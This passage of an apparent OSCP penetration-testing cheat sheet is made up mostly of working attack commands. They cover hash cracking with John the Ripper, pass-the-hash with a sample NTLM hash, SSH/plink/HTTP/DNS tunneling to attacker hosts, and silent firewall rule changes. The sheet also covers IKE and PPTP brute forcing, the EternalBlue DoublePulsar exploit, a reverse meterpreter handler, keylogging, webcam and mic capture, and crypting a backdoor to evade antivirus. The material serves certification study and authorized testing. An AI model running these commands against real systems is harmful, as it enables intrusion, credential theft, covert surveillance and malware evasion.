/usr/share/wordlists/rockyou.txt

Sample Hashes
http://openwall.info/wiki/john/sample-hashes

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 Identify Hashes

hash-identifier

To crack linux hashes you must first unshadow them:

unshadow passwd-file.txt shadow-file.txt

unshadow passwd-file.txt shadow-file.txt > unshadowed.txt

John the Ripper - Password Hash Cracking

john $ip.pwdump

john --wordlist=/usr/share/wordlists/rockyou.txt hashes

john --rules --wordlist=/usr/share/wordlists/rockyou.txt

john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

JTR forced descrypt cracking with wordlist

john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt

JTR forced descrypt brute force cracking

john --format=descrypt hash --show

Passing the Hash in Windows

Use Metasploit to exploit one of the SMB servers in the labs. Dump the password hashes
and attempt a pass-the-hash attack against another system:

export
SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896

pth-winexe -U administrator //$ip cmd

Networking, Pivoting and Tunneling

Port Forwarding - accept traffic on a given IP address and port and redirect it to a different IP
address and port

apt-get install rinetd

cat /etc/rinetd.conf

# bindadress bindport connectaddress connectport

w.x.y.z 53 a.b.c.d 80

SSH Local Port Forwarding: supports bi-directional communication channels

ssh <gateway> -L <local port to listen>:<remote host>:<remote port>

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SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable
network

ssh <gateway> -R <remote port to bind>:<local host>:<local port>

SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL
incoming traffic to ANY host in the DMZ network on ANY PORT

ssh -D <local proxy port> -p <remote port> <target>

Proxychains - Perform nmap scan within a DMZ from an external computer

Create reverse SSH tunnel from Popped machine on :2222

ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com ssh -f -N -R

2222:<local host>:22 root@<remote host>

Create a Dynamic application-level port forward on 8080 thru 2222

ssh -f -N -D <local host>:8080 -p 2222 hax0r@<remote host>

Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chains

proxychains nmap --top-ports=20 -sT -Pn $ip/24

HTTP Tunneling

nc -vvn $ip 8888

Traffic Encapsulation - Bypassing deep packet inspection

http tunnel
On server side:
sudo hts -F <server ip addr>:<port of your app> 80 On client side:
sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip
addr>:80 stunnel
Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network

Tunnel on port 22

plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>

Port 22 blocked? Try port 80? or 443?

plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote

host> -P80

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Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep
packet inspection)

Windows machine add required firewall rules without prompting the user

netsh advfirewall firewall add rule name="httptunnel_client" dir=in

action=allow program="httptunnel_client.exe" enable=yes

netsh advfirewall firewall add rule name="3000" dir=in action=allow

protocol=TCP localport=3000

netsh advfirewall firewall add rule name="1080" dir=in action=allow

protocol=TCP localport=1080

netsh advfirewall firewall add rule name="1079" dir=in action=allow

protocol=TCP localport=1079

Start the http tunnel client

httptunnel_client.exe

Create HTTP reverse shell by connecting to localhost port 3000

plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote

host> -P 3000

VLAN Hopping

git clone https://github.com/nccgroup/vlan-hopping.git

chmod 700 frogger.sh
./frogger.sh

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VPN Hacking

Identify VPN servers:

./udp-protocol-scanner.pl -p ike $ip

Scan a range for VPN servers:

./udp-protocol-scanner.pl -p ike -f ip.txt

Use IKEForce to enumerate or dictionary attack VPN servers:

pip install pyip

git clone https://github.com/SpiderLabs/ikeforce.git

Perform IKE VPN enumeration with IKEForce:

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Bruteforce IKE VPN using IKEForce:

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1

Use ike-scan to capture the PSK hash:

ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
ike-scan –M –A –n example\_group -P hash-file.txt TARGET-IP

Use psk-crack to crack the PSK hash

psk-crack hash-file.txt
pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --
charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-
207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key

PPTP Hacking

Identifying PPTP, it listens on TCP: 1723

NMAP PPTP Fingerprint:

nmap –Pn -sV -p 1723 TARGET(S) PPTP Dictionary Attack

thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

Port Forwarding/Redirection

PuTTY Link tunnel - SSH Tunneling

Forward remote port to local address:

plink.exe -P 22 -l root -pw "1337" -R 445:<local host>:445 <remote host>

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 SSH Pivoting

SSH pivoting from one network to another:

ssh -D <local host>:1010 -p 22 user@<remote host>

DNS Tunneling

dnscat2 supports “download” and “upload” commands for getting iles (data and programs)
to and from the target machine.

Attacking Machine Installation:

apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install

Run dnscat2:

ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422

Target Machine:
https://downloads.skullsecurity.org/dnscat2/
https://github.com/lukebaggett/dnscat2-powershell/
dnscat --host <dnscat server ip>

The Metasploit Framework

See Metasploit Unleashed Course in the Essentials
Search for exploits using Metasploit GitHub framework source code:
https://github.com/rapid7/metasploit-framework
Translate them for use on OSCP LAB or EXAM.
Metasploit

MetaSploit requires Postfresql

systemctl start postgresql

To enable Postgresql on startup

systemctl enable postgresql

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MSF Syntax

Start metasploit

msfconsole

msfconsole -q

Show help for command

show -h

Show Auxiliary modules

show auxiliary

Use a module

use auxiliary/scanner/snmp/snmp_enum
use auxiliary/scanner/http/webdav_scanner
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/ftp/ftp_login
use exploit/windows/pop3/seattlelab_pass

Show the basic information for a module

info

Show the configuration parameters for a module

show options

Set options for a module

set RHOSTS 192.168.1.1-254

set THREADS 10

Run the module

run

Execute an Exploit

exploit

Search for a module

search type:auxiliary login

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Metasploit Database Access

Show all hosts discovered in the MSF database

hosts

Scan for hosts and store them in the MSF database

db_nmap

Search machines for specific ports in MSF database

services -p 443

Leverage MSF database to scan SMB ports (auto-completed rhosts)

services -p 443 --rhosts

Staged and Non-staged

Non-staged payload - is a payload that is sent in its entirety in one go

Staged - sent in two parts Not have enough buffer space Or need to bypass antivirus

MS 17-010 - EternalBlue

You may find some boxes that are vulnerable to MS17-010 (AKA. EternalBlue). Although,
not offically part of the indended course, this exploit can be leveraged to gain SYSTEM
level access to a Windows box. I have never had much luck using the built in Metasploit
EternalBlue module. I found that the elevenpaths version works much more relabily. Here
are the instructions to install it taken from the following YouTube video:
https://www.youtube.com/watch?v=4OHLor9VaRI
1. First step is to configure the Kali to work with wine 32bit
dpkg –add-architecture i386 && apt-get update && apt-get install wine32 rm -r ~/.wine
wine cmd.exe exit

1. Download the exploit repostory https://github.com/ElevenPaths/Eternalblue-

Doublepulsar-Metasploit

2. Move the exploit to /usr/share/metasploit-

framework/modules/exploits/windows/smb or
~/.msf4/modules/exploits/windows/smb

3. Start metasploit console

I found that using spoolsv.exe as the PROCESSINJECT yielded results on OSCP boxes.

use exploit/windows/smb/eternalblue_doublepulsar msf exploit(eternalblue_doublepulsar)

> set RHOST 10.10.10.10 RHOST => 10.10.10.10 msf exploit(eternalblue_doublepulsar) >
set PROCESSINJECT spoolsv.exe PROCESSINJECT => spoolsv.exe msf
exploit(eternalblue_doublepulsar) > run

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Experimenting with Meterpreter

Get system information from Meterpreter Shell

sysinfo

Get user id from Meterpreter Shell

getuid

Search for a file

search -f *pass*.txt

Upload a file

upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec

Download a file

download c:\\Windows\\system32\\calc.exe /tmp/calc.exe

Invoke a command shell from Meterpreter Shell

shell

Exit the meterpreter shell

exit

Metasploit Exploit Multi Handler

multi/handler to accept an incoming reverse_https_meterpreter

payload
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST $ip
set LPORT 443
exploit
[*] Started HTTPS reverse handler on https://$ip:443/

Building Your Own MSF Module

mkdir -p ~/.msf4/modules/exploits/linux/misc
cd ~/.msf4/modules/exploits/linux/misc
cp /usr/share/metasploitframework/modules/exploits/linux/misc/gld\_postfix.rb
./crossfire.rb
nano crossfire.rb

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 Post Exploitation with Metasploit - (available options depend on OS and Meterpreter
Cababilities)

download Download a file or directory

upload Upload a file or directory
portfwd Forward a local port to a remote service
route View and modify the routing table
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
screenshot Grab a screenshot of the interactive desktop
record_mic Record audio from the default microphone for X seconds
webcam_snap Take a snapshot from the specified webcam
getsystem Attempt to elevate your privilege to that of local system.
hashdump Dumps the contents of the SAM database
Meterpreter Post Exploitation Features

Create a Meterpreter background session

background

Bypassing Antivirus Software

Crypting Known Malware with Software Protectors

One such open source crypter, called Hyperion

cp /usr/share/windows-binaries/Hyperion-1.0.zip
unzip Hyperion-1.0.zip
cd Hyperion-1.0/
i686-w64-mingw32-g++ Src/Crypter/*.cpp -o hyperion.exe
cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc_s_sjlj-1.dll .
cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-6.dll .
wine hyperion.exe ../backdoor.exe ../crypted.exe

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